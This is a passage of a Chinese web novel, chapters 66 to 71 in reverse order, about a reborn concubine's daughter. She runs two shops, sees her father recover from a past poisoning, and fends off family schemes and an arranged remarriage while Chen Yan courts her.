逸真大师眯起眼,认真盯着他看了他一会儿,又看了一眼叶绯霜,而后沉沉叹了口气,一言不发地走了。 璐王不明所以:“大师这啥意思?” 璐王妃:“……” 该说不说,逸真大师叹气的样子,让她想到了那些明明撮合了两个特别般配的人结果发现这俩人八字相克的倒霉媒婆。 陈宴微微蹙起眉头,问叶绯霜:“你刚和大师说什么了?” 第71章 娶新妇 “大把时间?”叶绯霜被这四个字震惊了,“你难道还要一直呆在荥阳?” 陈宴一副理所当然的语气:“不然呢?” “你不回颍川去吗?你们陈氏就没有要参加会试的,需要你去指点指点的?你一直呆在郑家的族学里多不好啊,你又不姓郑。” “我们陈氏子弟比你们郑氏子弟要优秀一些,不需要我指点他们也能学得很好。” 反正他知道叶绯霜不在意郑家,在她面前说郑家的不好也无所谓,况且也都是实话。 叶绯霜想了想前世,隐约记得此次会试前三百名中陈氏子弟有二十几人,郑氏好像连五人都没到……这不是优秀一些了,是优秀很多。 荥阳郑氏真的在走下坡路,一代不如一代。 小桃忽然急匆匆地跑进院中:“姑娘!” “怎么了?” “我刚去鼎福居找明秀姐姐玩了,看见小秦氏夫人去了鼎福居,身边还带着一个年轻的女人,明秀姐姐说,那个女人是准备说给咱们四老爷当夫人的!” 自从郑老太太拒绝把靳氏扶正,叶绯霜就知道会有这么一天,所以并不惊讶。 陈宴问:“那名女子长什么样?” 小桃想了想:“比小秦氏夫人高一点,挺瘦的,挺好看的,眼睛特别大,嘴巴特别小,我感觉我的嘴巴有她三个大。” 陈宴思忖片刻:“应该是高同知的二女儿。” 小桃嘴快:“哇,陈公子,你怎么会认识人家姑娘啊?” 陈宴:“不认识,只是知道。” 叶绯霜贴心地给她解释:“荥阳来了新知府,还带着一群属官,陈公子免不了和他们打交道,提前了解他们的家眷也不奇怪。” 官场交际就是这样的,不光要知道对方是什么官,还要知道对方家里有多少人,和谁有姻亲关系。 叶绯霜走到杏树下的石凳上坐下:“我早就料到了,老太太和小秦氏给我爹娶新妇,肯定要娶她们自己能掌控的人。这样的话不光可以护好郑茜媛和郑文博,还能用来对付我和我娘。” 说白了,郑老太太和小秦氏只是想找一个工具安插在四房而已。 高同知是杜知府的下属,他二女儿必然得听小秦氏的话。 “有秦氏在先,族中现在关注着我爹,郑老太太倒不好随便找个人塞给我爹了。于是小秦氏就牵线搭桥,找了高同知的二女儿,门第也是不错的,能过族长他们那关。” 陈宴走过去,坐在叶绯霜对面:“但此事五姑娘不好明着插手,一个‘孝’字压在头上。” 叶绯霜哂笑:“是啊,谁家好闺女能拦着不让爹娶媳妇的?” “小秦氏既然都把高二姑娘带到郑老太太跟前了,想必八字什么的都合过了。” 陈宴这话的意思就是叶绯霜不能再从最简单的八字上边做手脚了。 叶绯霜又问:“这高二姑娘多大?” “十七。” 叶绯霜:“……老太婆和小秦氏真够作孽的。” 这年纪给郑涟当闺女都绰绰有余了,这不是耽误人家姑娘吗? 叶绯霜想了一会儿,心下有了计较,说:“我要见宁衡。” “啊,五姑娘见他不是很简单吗?”陈宴抱起双臂,不咸不淡地道,“毕竟你们可是师徒呢,亲密无间。” 他和叶绯霜没见面的那两个多月,她和宁衡倒是见了好几次,她还教了宁衡几招简单的枪法,宁衡练得有模有样的,啧。 “这么一说,世子倒是好几天没来找我了。” “怎么,想你的意中人了?” 叶绯霜无语:“你别阴阳怪气的。” “不是你自己说的吗?高大威猛,剑眉星目,审美一致……你的意中人。难道五姑娘变心了?他不是你的意中人了?” 叶绯霜:“……” 有毒。 她面无表情:“我没变心,我的审美这辈子都不会变的,我就喜欢那款。” 她不知道话题怎么忽然就扯到了这里,只能又拽回去,喃喃道:“这件事只能世子来办。” “我也能办。” 这人的脑子能猜到自己想做什么叶绯霜一点都不奇怪,她摇头:“不用。” 陈宴听过太多次拒绝,以至于现在都没有什么波澜了。 他淡淡道:“宁衡前几天去行猎了,回来就病了。” “病了?很严重吗?” “风寒,不严重,不过好像冲撞了什么,中邪了。” 叶绯霜表示怀疑:“你在诅咒他吗?” “刚才我遇见谭大夫,他说的。”陈宴颇为无语地看着她,“你把我想成什么了?” 叶绯霜:“……” 谁让你总是对宁衡有敌意似的。 叶绯霜说:“明天我去看看他吧。” 师父不能白当。 宁衡早就给了叶绯霜一块令牌,凭着这个令牌可以进出璐王府。 叶绯霜带着铜宝,提了许多探病的东西,第一次来到了宁衡的住处。 璐王正在院中开坛做法,看这样子已经做法好几天了,似乎并没有什么用。 气得璐王妃直打他:“别摆弄你那根破拂尘了,你们道家不行,给我换佛家的来!” 叶绯霜:“……” 难道不应该换大夫吗? 璐王妃不是第一次见到叶绯霜了,毕竟宁衡有一次去找叶绯霜的时候就是和璐王妃一起的,璐王妃非要看看自己儿子认的这个小师父。 “来就来,还带什么东西。”璐王妃指了指叶绯霜手里的匣子,“这是什么?” “给世子带了些点心。” 璐王妃眼睛亮了:“他现在大多数时间都昏睡着,没时间吃,我来替他解决。” 璐王妃带着叶绯霜进了宁衡的房间,让叶绯霜绕过屏风去看她徒弟,自己坐在外间吃起了点心。 也难怪璐王夫妇不太着急,因为宁衡看起来没什么病容,就是一直闭着眼睛说胡话,时不时地嚎两嗓子。 璐王妃嘴里塞着点心,含糊不清地说:“感觉还是和他爹在庇阳山遇袭那晚给吓着了,总是说那晚的事。” 叶绯霜轻轻叫了他两声:“世子,世子?” 宁衡忽然睁开了眼。 他的眼睛有些失焦,写满了惊恐和后怕。 叶绯霜忙问:“世子,你有哪里不舒服吗?” 宁衡老半天才认出她,尝试着叫:“师父?” “对,是我。世子,我来看你了。” 宁衡忽然一个鲤鱼打挺从床上坐了起来,一把把叶绯霜抱住了。 他带着哭腔,哀嚎:“师父,你怎么不来救我啊?我腿断了!那个坑好深,里边的东西扎得我好疼,我的腿断了,我这辈子不能再骑马了!” 叶绯霜愣住了。 宁衡说的,好像是前世的遭遇。 第70章 喜欢吗? 叶绯霜是看到官府张贴出的通告后才知道此届春闱取消了。 她震惊了,因为前世根本没这事啊! 前世的殿试顺顺利利地举行了,陈宴就是在今年中的探花,她绝对不可能记错的。 这一世和前世怎么不一样了呢? 叶绯霜陡然冒出一个恐怖的想法:这世上难道还有除她之外的其它重生者? ……天爷。 转而一想,就算真的有也无所谓。人家都能影响到皇帝了,她一个远在荥阳无权无势的小庶女,和人家根本不是一个层次的人。 不要紧,大家各忙各的,各自为重生后的美好人生而奋斗。 叶绯霜从点心铺子回了落梅小筑,发现今天谭大夫来了。 谭大夫每个月都会来给郑涟看一次病,施施针外加调整一下药方药量什么的。 谭大夫说,虽然秦氏和乔禄给郑涟下的毒是慢性的,每次的剂量也比较小,但毕竟下了好多年了,有一部分已经深入骨髓,是无论如何都拔除不掉的了。 不过幸运的是,只要用药好好调养着,郑涟的身体肯定能比现在好很多,还能活许多年。 谭大夫给郑涟施完针,让靳氏和叶绯霜扶着郑涟下地走一走。 郑涟都记不清自己在床上坐了多少年了,以为这辈子都下不了这张床了,没想到还能有和个正常人一样走路的一天。 郑涟身上还是没什么力气,只在房间里溜达了一圈儿就又躺回去了,但这已经是天大的好转了。 靳氏高兴地哭出了声:“我就说过,老爷会好的。” 郑涟紧紧握着靳氏的手,也红了眼眶:“这些年,辛苦你了。” 靳氏摇头:“我和老爷之间不说这个。” 谭大夫也很动容,感慨道:“四老爷卧床多年,没生褥疮,筋骨皮肉也全好好的。房间里也干净清爽,没有任何怪味。可见姨娘有多尽心,真的太不容易了。” 更何况靳氏和郑涟一直都很穷困,没什么仆从,靳氏真的是靠自己一个人把郑涟照顾得这么干净体面的。 叶绯霜抱住了靳氏,把头埋在她胸口。 靳氏爱怜地拍了拍女儿的头顶:“娘不辛苦,没事的。” 郑涟抱住妻子和女儿,说:“等我好起来,我一定让你们娘俩过上好日子。” 靳氏忽然觉得手心一热,连忙把叶绯霜的脸抬起来,惊道:“霜儿,怎么哭了呀?” 她这女儿聪明又早慧,遇到什么事都能从容应对,靳氏从未见她哭过。 叶绯霜使劲儿在靳氏怀里拱了拱,说:“爹娘都好好的,真好。” 上一世,去年年末娘亲暴毙。 叶绯霜一直觉得这事是秦氏做的,果然这一世,秦氏死了,娘亲就好好的,没有出事。 而爹爹也在逐渐好起来,不会像上一世那样早早死去。 这一世,她有爹娘疼爱,不再是无父无母的孤儿。 有家可真好。 靳氏忽然轻轻拍了拍她的背:“霜儿快看,谁来啦?” 叶绯霜从靳氏怀里转过头,见陈宴进了房间。 他脚步明显顿了一下,继而快步走过来,蹲在叶绯霜跟前:“怎么了?” 陈宴看向郑涟,难道郑涟的身体…… 靳氏忙道:“没事没事,谭大夫说一切都好。霜儿见她爹能下地了,高兴的。” 陈宴松了口气:“原来如此,那的确是好事。” 他掏出一方帕子递给叶绯霜:“擦擦,别哭了。” 陈宴也是第一次见她哭成这样,眼睛鼻尖通红,唇色也比平时更红,其实这样看起来才像个符合她年龄的小姑娘。 叶绯霜又要用袖子抹脸,陈宴就和料到她要这么做似的,握住了她的手腕,另一只手捏着帕子给她擦脸。 当着爹娘的面,叶绯霜觉得尴尬,立刻把陈宴的帕子接过来,自己擦。 他的帕子也是他最爱用的流云锦,光滑冰凉,沾着雪中春信的梅香。叶绯霜本来想擤鼻子,都不好意思了。 陈宴看出来了,说:“没关系,随便用。” 叶绯霜摇头,把帕子团在手心:“我洗干净再还给你。” 她说话时带着浓重的鼻音,声音不似以往那么清亮,有种娇憨可爱。 陈宴感觉今天见到了她的另一面,而且是很难得的另一面。 叶绯霜洗了把脸,从正房出来,见陈宴在院中仰头看那棵杏树。 “陈公子,你最好站远一点。”叶绯霜的鼻音轻了很多,但还是有一点点。 “怎么?” “会有毛毛虫掉下来。” 陈宴:“……” 他不动声色地离开了那棵树,离得很远。 在世人面前,陈宴这个人几乎是完美的,仿佛无懈可击。但叶绯霜就知道他有一个弱点——他怕虫子。 前世,陈宴有一次在杏树下作画,有一条绿色的小虫子掉在了他手上,他的脸当时就白得吓人,恨不得把自己那只手砍了的样子,然后在水盆里把手搓得又红又皱才终于缓过来。 之后几天,她只要轻轻一碰陈宴的手,他就会激灵一下。她觉得好玩,故意逗了他许多次,逗得他恼火了把她狠狠教训了一通,她才求饶老实了。 陈宴站在台阶下,叶绯霜站在上边,两人视线倒是齐平了。 陈宴端详了她一会儿,眼角和鼻尖的肉泛着粉,眼睛洗过似的水润润的,像被人狠狠欺负过一场。 不过陈宴又知道,她若是被人欺负了,才不会哭。 见他目光带笑,叶绯霜有些尴尬:“亏你还笑得出来。” “五姑娘在说春闱取消的事?” “是啊。” 那陈宴更想笑了,口中却道:“这也是没办法的事。” “此次取消,万一接下来两年不加恩科,只能等三年后再考了。” 陈宴心想,那可太好了。 陈宴:“是。” “三年后你就十九了。哪怕你中了状元,你也不是大昭最年轻的状元郎了。” 她竟然会为自己考虑,让陈宴觉得很意外,又很惊喜。 他掩着唇角的笑意,说:“我也不一定非要当最年轻的啊。” “可是那样写在青史上更好听啊。被后人看到,他们也会觉得你更厉害。” “的确,但我不在意这些虚名。”陈宴说,“如果要名留青史,我更希望是以我的功业、我的政绩,而非这些很虚的东西。虚名可以被人掩盖、取代,但是实绩不会。” 他上前一步:“还是说,五姑娘想要一个大昭最年轻的状元郎当夫婿?你喜欢这个名号吗?” 叶绯霜:“我没这个意思,你的事和我没关系。” “五姑娘刚不是在替我着想吗?我以为你在意。” “我不会在意的,毕竟……” “毕竟你又不会嫁我,对不对?”陈宴自然而然地接过她的话,“五姑娘,我不进京了,接下来我们便有大把的时间相处,你怎么就确定,你一定不会喜欢上我呢?” 第69章 取消了 陈宴离开落梅小筑的时候多带了一坛千日春。说如果只有卢季同有而他没有,他考不好。 靳氏唉声叹气。 叶绯霜说:“别难过了娘,真把人家当您儿子了呀?” “一个女婿本来就是半个儿,而且……而且……” 叶绯霜接过她的话:“而且他去的是京城,多繁华的地方,名门闺秀多的是,他要是看上旁人,不愿意娶我了怎么办?” 靳氏轻轻点点她脑门:“你也知道呀?” “那不是挺好的吗?” “好什么好?这么好的郎君要是让别人得了,你甘心?” 叶绯霜觉得有必要让她爹娘提前有点心理准备——陈宴成不了他们女婿。 “娘啊,我和陈三郎真的不合适。”叶绯霜说,“其实没必要非得用一纸婚约把我俩绑一块儿。” 靳氏急了:“谁说你俩不合适?是不是又有人和你说不好听的了?都怪娘没用,没能给你一个好出身,害得你总是被人说。真是的,要我这废物娘干什么?” 叶绯霜:“……” 怎么还扯到自己身上了呢? 安慰了靳氏半天才让她止了泪,叶绯霜再也不敢提这话了。 过了几天,铜宝给叶绯霜带来一个噩耗—— 她的布店没了。 是的,没了。 昨夜起了一把大火,烧干净了。 叶绯霜过去的时候,整个铺子就剩几堵乌漆嘛黑的墙了。 铜宝说:“胡同里起火了,周围几户也都遭了殃,就是没咱这布店烧得干净。” 叶绯霜看着空空的店面,笑了一下。 布店伙计们以为东家疯了,店都没了竟然还笑得出来? 这店之前那么些年都好好的,偏她一接手就起了火烧没了,要说不是刻意针对她都没人信。 郑老太太做的?不想让她完成条件? 应该不是,郑老太太从未相信过她能把利润翻五番,不会多此一举。 那就是为了报复、警告、泄私愤。 最有可能这么做的,便是小秦氏了。 “已经有人去报官了,这火到底是怎么起的,还要等官府调查。”铜宝说。 叶绯霜摇了摇头:“查不出来。” 这垂柳胡同本就位置偏僻,有人深更半夜放一把火就跑,往哪儿查去? 铜宝听了这话有些不甘心:“那就这么算了?老太太不是还给五姑娘开了条件吗?现在店都没了……” “没了就再开啊,旧的不去新的不来嘛。”叶绯霜笑道,“布店开在这地方本来就没前途,倒是给了我一个换店的好理由。况且店里本来也没什么好东西,都没什么可心疼的。” 铜宝恍然:“难怪过去这段时间姑娘一直在忙点心铺子,没怎么管这布店,合着是觉得本来就不值当的。” “我管了呀,谁说我没管?”叶绯霜拿出几张纸递给铜宝,“这上边都是我看好的店面位置,都是适合用来开布店的,你去谈一谈房缗,哪个最便宜我要哪个。” 铜宝恭敬接过这几张纸:“原来姑娘早就在准备了。” “给点心铺子多雇两个护院,再告诉绿蕊让她平时小心一点。要是我的点心铺子再被烧了,我可真要心疼的。” 不过短时间内点心铺子应该不会再出事了,否则针对她的意思也太明显了。 消息传到了郑老太太耳朵里,叶绯霜被叫过去训了一通。 小秦氏也在,还假模假样地替叶绯霜说了几句好话,说这天灾人祸的,不怪她,装得十分慈爱。 叶绯霜眨巴着眼睛,摆出少女的娇俏来,半开玩笑地说:“姨母既然这么心疼我,不如赏点银子安慰安慰我吧?霜儿知道,姨母最大方了!” 郑茜媛怒道:“你还要不要脸?哪有张嘴和姨母要银子的!” “姨母说心疼我嘛。姨母这么好,肯定不会只是在嘴上说说的呀,姨母才不是那种虚伪的人呢。” 郑老太太皱眉:“不像话,郑府是短了你的了?你竟还和你姨母要上了!” “郑府是郑府,姨母是姨母嘛。要是祖母替姨母给也行,反正都是给霜儿的一片心意,霜儿都会感念长辈们的好的!” 小秦氏也当了几年官太太了,场面话说了不少。平时说说也就得了,还是第一次遇到这么顺杆爬的。 但她都已经被架上来了,她要是不给点心意,倒真显得她虚伪了。 小秦氏只能大度地给了叶绯霜一张银票,叶绯霜笑眯眯地接过:“姨母果真疼霜儿!” 比起给银子,更让小秦氏呕心的是她的话。 偏叶绯霜还在说:“要是母亲泉下有知,也一定会欣慰的,母亲以前也可疼霜儿了。” 郑茜媛又气又酸又恶心,恨不得指着叶绯霜的鼻子骂她不要脸,谁疼她了?少给自己脸上贴金了! 偏又不能骂,否则不是明白告诉旁人母亲以前待这小贱人不好? 叶绯霜开开心心地从鼎福居出来,遇见了精心装扮的傅湘语。 她穿着象牙白的广袖襦裙,妆容素雅却不失精致,眉心一朵灼灼桃花,让她本来略显寡淡的眉眼变得光彩夺目起来。 傅湘语笑盈盈地对叶绯霜说:“我正准备去赴宴呢,陈公子他们的宴会。” 叶绯霜:……我好像没问。 她点头,满脸真诚:“真好。傅姐姐饱读诗书,说不定能在筵席上留下什么千古流传的别离诗呢。” 一说这个,傅湘语就想到了自己在诗会上连头筹都没有拔得,嘴角抽了抽。 “不会有别离诗的。” “哦?” 傅湘语目光灼灼,语气中有掩饰不住的得意:“我兄长此次也会进京应试,我已经和外祖母说了,我一起去。” 她盯着叶绯霜,像是在宣誓主权:“这一路上,我都会和陈公子在一起。进京后,也一样,我会一直在他身边。” 叶绯霜点头:“有傅姐姐这样的佳人作陪,陈宴真是好福气!” 傅湘语知道叶绯霜是在故作大度,她心里肯定已经酸死了。 傅湘语骄傲起来,故意问:“怎么,五姑娘没有收到邀请吗?还不知道下次见面是什么时候,陈公子都不想着临走前和五姑娘见一面?” “我没文化,见我不吉利。”叶绯霜不想再和傅湘语说这些没用的,“傅姐姐快去吧,玩得开心啊。” 知道她果真没有被邀请,傅湘语心情更好了。 有婚约也不过如此嘛。 接下来,她有很长时间可以和陈宴单独相处。 近水楼台先得月,她有的是机会。 叶绯霜算什么。让陈宴给她开蒙又如何?在别院和陈宴有诸多接触又如何?假以时日,她会让陈宴连这个名字都想不起来。 傅湘语开开心心地到了酒楼,却发现满座士子,神情一个赛一个的凝重。 独独陈宴在闲适饮酒,姿态松弛而散漫,面容带笑,心情是显而易见的好。 傅湘语不明所以:“发生什么了?” 她兄长傅闻达叹了口气,语气沉重:“京中来信,皇上突然病重,此届春闱取消了。” 第68章 又主动 在回落梅小筑路上,叶绯霜和一行人打了个照面。 为首的妇人珠圆玉润,云鬓高挽,正是小秦氏。 她身边跟着郑茜媛,两个人正有说有笑。 一瞧见叶绯霜,她们脸上的笑容就消失了。 她们对叶绯霜没好脸色,叶绯霜也不倒贴,面无表情地从她们身边经过。 自己竟然被无视了,小秦氏登时便要发难。 却见叶绯霜忽然停步,笑着一礼:“呀,是姨母啊。今儿早上给祖母请安的时候还听祖母念叨姨母呢,姨母这就来了,祖母可高兴坏了吧?” 叶绯霜笑吟吟的,礼数周到,生生把小秦氏没说出口的“站住,你是没瞧见我这个人吗,真是毫无教养”给憋回去了。 等叶绯霜走了,小秦氏问郑茜媛:“她怎么从那边过来的?” “她和祖母要了两个铺子,正学着管呢,最近天天往外跑。” 小秦氏顿时严肃起来,不乐意了:“四房的产业都是你和博哥的,你祖母怎么给了她?” “还不是她死皮赖脸要的,非得说自己能管,真以为自己多能耐了。”郑茜媛撇嘴,“姨母你别急,祖母给她那两个铺子烂得很,我都不稀罕要呢,也就她这种没见过世面的乡巴佬以为自己真得了宝贝。” 小秦氏还是不满:“姐姐才刚去,她就开始抢你和博哥的东西了,以后还了得?” 一听到母亲,郑茜媛眼里顿时盈了泪:“我娘就是被她害死的,姨母,你要替我娘报仇啊!” 小秦氏咬了咬牙:“她那两个铺子在哪儿?你告诉我,我先给她点教训。” 叶绯霜踏入正房大门,听见一个熟悉的清润嗓音。 她还以为自己听错了。 抬头一瞧,那个坐在官帽椅里正和郑涟说话的,可不就是陈宴吗? 他今日穿了件山青色的春袍,外边罩了件月白的阔袖衫,透过窗柩的阳光斜斜一照,青白浮动,山间轻雾似的。 转头瞧见叶绯霜,他朝她颔首:“五姑娘。” 姿态从容随意,仿佛他昨天刚来给她授过课,而不是两个多月不曾见面。 靳氏准备了一桌特别丰盛的饭菜,提前为陈宴践行。 靳氏对这个女婿喜欢得不行。现在他要入京会试,短则一年半载,长则三年五载都见不到他,靳氏特别舍不得,都哭了。 叶绯霜安慰她:“此次进京,陈公子肯定能高中,这是好事啊。” 靳氏知道是好事,但她还是舍不得。 郑涟也有一些离别在即的感慨,但是陈宴看叶绯霜,没有。 也是,她一直都盼着他早点走,他又不是不知道。 饭后,陈宴离开,靳氏让叶绯霜送陈宴出去。 叶绯霜拿了一坛千日春给陈宴,让他给卢季同带回去。 一个小厮过来接过酒坛子,然后识趣地退下。 叶绯霜听见陈宴问:“我要走了,五姑娘可开心?” “开心。”叶绯霜说,“陈公子前途一片大好,谁都会替你开心的。” 陈宴倒是很谦虚:“大昭人才济济,我未必能中。” “能的,陈公子会进士及第。” 陈宴扬起一个浅浅的笑纹:“说得这么笃定,菩萨又给五姑娘托梦了吗?” 梅花已经谢了,郑府下边有温泉,地热,桃花比一般地方开得早些。 春风拂过,满院芬芳,显得人说话的声音特别温柔。 叶绯霜点了点头:“对。” “那在五姑娘梦里,我中了什么?” “探花。” “第三啊。”陈宴幽幽叹道,“没能三元及第啊。” 叶绯霜说:“你若丑点就可以了。” 陈宴终于展露了一个完全的笑,很温柔,又有些无奈似的,十分好看。 无奈是真的无奈。诚如他所料,只要他不主动,他和叶绯霜就一面都见不到。 过去两个多月,傅湘语都靠着这样那样的借口去找过他很多次,她一次都没有。 喜欢和不喜欢的差距真的很明显。 他有些郁闷,还有些气恼。想着一走了之算了,人家不稀罕他,他何必一直贴着。 但又有些不甘心,为什么就不能喜欢他呢。 她又不是没开窍,人情世故她懂得很。 那便只能他今天再一次主动了。 陈宴良久地看着她,浅淡的目光像是无形的画笔,在勾勒她。 年岁小,就长得快,陈宴觉得她和两个月前就有点不同了。 下次见面是什么时候呢?一年后?三年后?五年后? 那时候她的变化会有多大?说不定他都认不出来了。 叶绯霜想提醒他该走了,却听他忽然又问:“听说你接手了两个铺子。” “对。” “会做生意吗?” “不太会,正在一点点摸索。” “需要我找人帮你吗?” “不需要,目前的人手够用。这两个铺子现在是赔钱状态,再请人开销就更大了。” “不需要你支付任何报酬。” 叶绯霜笑着说:“陈公子,人情债也是债。” 陈宴想,也是,她连他的礼物都不肯接受,更别说人情了。 “知道你祖母为何会给你两个铺子吗?” 叶绯霜点头:“让我应接不暇,让我分心,哪边都顾不好。” 本来一个都不想给,一给就给了两个,她才不会认为那老太婆是好心。 “还给你开出了利润翻五番的严苛条件,你若是达不成呢?” “达不成就把铺子还回去啊,也不是什么大事。”叶绯霜耸耸肩,很坦然地说,“我在这件事中学到的、收获的,都是我自己的,谁也拿不走。人生嘛,就是要不断尝试啊,失败也没什么大不了的。” 看着她莹润的眼,听着这豁达的话,陈宴脑中忽然萌生出一个荒诞的念头:他不想进京了。 哪怕错过这次会试,也就再等三年而已。三年以后他才十九,依然很年轻。 用这三年陪在她身边,看着她长大,和她一起经历那些失败或者成功,陈宴觉得好像更值得一点。 如果叶绯霜知道陈宴现在的想法,她一定会觉得他疯了。 因为陈宴是一个把自己的人生谋划得特别清晰的人。他要在多少岁做什么事,他早就设定好了,他厌恶一切打乱他布局的人和事,哪怕那个人是他自己也不行。 叶绯霜做梦也想不到,有这么一瞬间,自己竟然成为了打乱他人生规划的意外。 第67章 争产业 回了落梅小筑后,见靳氏在清点府里发下来的年礼。 叶绯霜也清点了一下自己的私房银子。 那位阔绰的贵公子给得实在很多,所以现在还剩不少。但也不能只靠这个,以后用钱的地方会越来越多,还是得想办法多赚钱。 叶绯霜想出一个主意。 过年时,家里的亲戚们都要拜年走动,也会有人来探望郑涟。 于是在族长来的那天,叶绯霜给郑涟端来一碗只有几根劣质参须的补汤。 族长看着碗里那点可怜的参须,都觉得寒碜:“怎么就喝这个?这哪儿补得回来啊!” 叶绯霜很难为情地说:“我也想给爹爹买大人参吃,但是我们没钱呀。” “四房也有不少田庄铺子,怎么会没钱呢?” 郑涟再庶出,他也是主家的四房老爷啊,族里从来没有亏待过他! 叶绯霜小声道:“家里的产业以前都归母亲管,母亲去了后,祖母便收回了,说要给新夫人管,或者留给六妹妹九弟弟。” “什么?”族长一听顿时不乐意了。 新夫人就罢了,那对双生子算什么?他们的血统还没调查明白呢! 都不一定是他们郑家的后代,还想拿他们的财产? 族长立刻去找了郑老太太。 彼时郑文博和郑茜媛就在郑老太太身边。 族长一直打量着郑文博,越看越心惊。 郑文博真长得和郑涟没一点儿像的地方!也不像秦氏,反而越看越像那个乔禄! 坏了,真是坏了! 族长只盼着派去秦氏老家调查的人能带点有用的线索回来,好让他清理门户! 族长提议郑老太太分点产业给郑涟和靳氏,好让他们有进项。 郑老太太不乐意。 族长就恼了,明里暗里说郑涟现在身体这么不好都是秦氏害的。郑老太太塞了这么个毒妇把郑涟害成这样,现在还不给人家钱养身子? 郑老太太也生气。要不是太夫人非得把秦氏带到家庙去,秦氏会被毒死吗?哪怕老大媳妇派人送毒酒,她也能给拦下来! 两个长辈争起来了,卢氏急忙从中劝和。 这事到底是郑老太太不占理,毕竟秦氏干的“好事”大家都知道。 郑老太太语气不善:“好啊,我倒是可以把产业给老四,谁来管?他那个病秧子身体能管吗,还是靳氏那个窝囊废管?别到时候都便宜了下头的人!” 一直在旁边没有任何存在感的叶绯霜此时出声了:“祖母,我来管。” “你?”郑老太太落在她身上的眼神十足轻蔑,“大字不识一个,还想学管铺子?我怕你连铜板都数不清。” 叶绯霜抿唇一笑:“祖母刚也说了一个学字,我不会可以学呀。” 她看向卢氏:“我听二姐姐说,府里的姑娘们十一二岁开始就要学中馈管家了,我年龄也到了,是该学起来了。” 郑老太太只觉得她胡闹:“别的姑娘能学是因为她们会看账本,知道这里边的门道,你会看吗?你懂什么?” “我当然会了。”叶绯霜说,“陈三郎教了我几个月了,我不光认字,我还会算数呢,看账本有什么难的?” 郑老太太的目光很不善,但叶绯霜不惧,就那么锐利但又不失礼貌地回视着她。 郑老太太是真不想顺叶绯霜的意。她就是觉得挺邪门的,不管啥事让叶绯霜一掺和,就有种超出掌控的感觉。 四房这些产业都是她准备留给博哥和媛娘的,让叶绯霜拿走了,这还拿得回来吗? 卢氏帮腔道:“母亲,不如让五丫头试试吧。先给她两间铺子,让她管管看。要是管得好再多给她,管得不好咱们再收回来。” 郑老太太知道不给四房点好处是打发不走族长了,于是就顺着卢氏的话说了:“既然你有这个心,那就试试吧。” 卢氏准备回去挑两间好的铺子给叶绯霜,却听郑老太太直接决定了:“那就把福禄坊的点心铺子和垂柳胡同的布店给她管吧。” 卢氏一听惊呆了,老太太这不是为难人吗? 因为荥阳有著名的点心铺子宝芳斋,所以其它点心铺子生意都不怎么好。 垂柳胡同那布店就更别说了,因为位置太偏,一直没什么客人。 老太太这……这实在有点小心眼了,和个小姑娘何必呢? 唉,偏这是自己婆母,卢氏也没法说。 郑老太太又道:“你要是能在今年让这两个铺子的盈利翻五番,我就把这两个铺子划到你名下,再把你们四房的一半产业都给你管。” 卢氏眼前一黑,五番? 叶绯霜直接答应了:“好,我听祖母的,多谢祖母。” 卢氏看着叶绯霜那抹灿烂的笑,心里直叹气。这丫头到底知不知道自己接了什么烫手山芋?知不知道翻五番代表着什么?还傻乐呢! 从鼎福居出来,叶绯霜跟着卢氏去领账本和令牌。 以后管了铺子,她就可以凭令牌出府了,不用再偷偷摸摸了! 自打回来后,叶绯霜就仔细了解过四房所有的产业,当然知道这两个铺子是进项最少、甚至搞不好还会赔钱的。 但她早就决定要把四房的产业全都握到自己手里。铺子好与不好,以后都得是她管。 所以她没什么好怕的。 这两个铺子说是百废待兴亦不为过,叶绯霜忙了起来。 直到有一天听街上的百姓们议论,说新任知府大人到了,叶绯霜才意识到,竟然不知不觉已是二月底了。 她接着又想到,大昭的春闱在三月底举行,所以陈宴他们马上就要动身进京了。 自打她生辰那天后,她就再没见过陈宴了。 早就该这样的。 叶绯霜在点心铺子呆了一天,傍晚回府,遇见了卢季同。 卢季同说他们三月初五赴京,三月三在万福居摆了宴席,问她去不去参加。 叶绯霜摇摇头:“我就不去了,我现在挺忙的。” 卢季同说:“听我姑母说,你接了两个铺子。” “对。”叶绯霜笑道,“提前祝卢四公子你金榜题名。” 卢季同道了谢,桃花眼盯着她看了一会儿,才又问:“那你有没有什么想对陈三说的?我可以转告他。” “没有。”叶绯霜说,“卢四公子不必提我。” 她不想在陈宴面前刷什么存在感,而陈宴也不需要她的祝福,因为他的光明前途是既定的,和谁的祝福无关。 卢季同长长地叹了口气。 这俩人到底怎么了?为何一下子就这么冷了? 问陈宴,他什么都不说。问叶绯霜,估计也是白问,他不费那事。 叶绯霜进了府里,又被卢季同叫住。 “霜儿表妹,赠我一坛千日春吧。”他笑眯眯的。 希望一坛好酒可以让陈宴别整天那么郁郁,弄得他都跟着郁闷了。 第66章 改名字 卢季同和陈宴一起出了落梅小筑的院门,见宁衡没跟上来,扭头一看,他正和叶绯霜说话呢。 宁衡人高马大的,叶绯霜比他矮了一大截,她说话的时候宁衡得弯着腰侧着脑袋听,没有半分王府世子的架子。 卢季同啧啧嘴:“别说,这徒弟的姿态摆得还真到位。” 没听到回应,他看向陈宴,见他定定望着院中那株红梅树,似是在发呆。 “哎,你今儿到底怎么了?”卢季同问,“你家五姑娘都特意给你酿了这么好喝的千日春,你还有什么不高兴的?” 陈宴轻哂了一声:“酿给我的?” “那肯定啊,除了你谁那么嗜甜。”卢季同啧啧嘴,“今儿我们是沾了你的光才有口福了。” 别说,那酒是真好喝。他准备改天和叶绯霜把方子要过来,自己回去酿。 “沾我的光?”陈宴反问,声音轻得不知道是在问谁,“我有什么光。” 她是觉得他今天不会来了,才把千日春拿出来。 要是知道他还会来,她必定会换酒。 因为她不想和他有牵扯。 今日席间任何一个人都值得她拿千日春来招待,唯独他是不值得的。 所以是他沾了他们的光。 宁衡走过来:“好了好了,我们走吧。” 陈宴抬眼一扫,院中已经没有那抹绯红身影了。 卢季同问:“五姑娘和你说什么呢?” “我师父说郑老太太想给她改名,但她不想改,让我帮她一把。” 陈宴不觉得稀奇,毕竟叶绯霜明确表达过,她不稀罕郑家。 而且给她改名,代表的是郑老太太这种上位者对她的压制和掌控,她又怎么愿意呢? 宁衡接着道:“今天送我师父的生辰礼太敷衍了,我准备给她补一个好的,我已经想好了!” 卢季同乐了:“你想给什么?” “给地位。”宁衡得意地说,“四房那夫人不是死了吗?我准备帮我师父把她亲娘扶正,我师父一定会很开心的!” 卢季同扬眉:“这是人家内宅的事,你怎么帮?” “我师父不是在庇阳山救了我和我父王吗?我就让我父王上奏,给我师父请封个县君什么的,到时候她娘就能跟着水涨船高啦!” 这话一出,就被陈宴否了:“不可。” 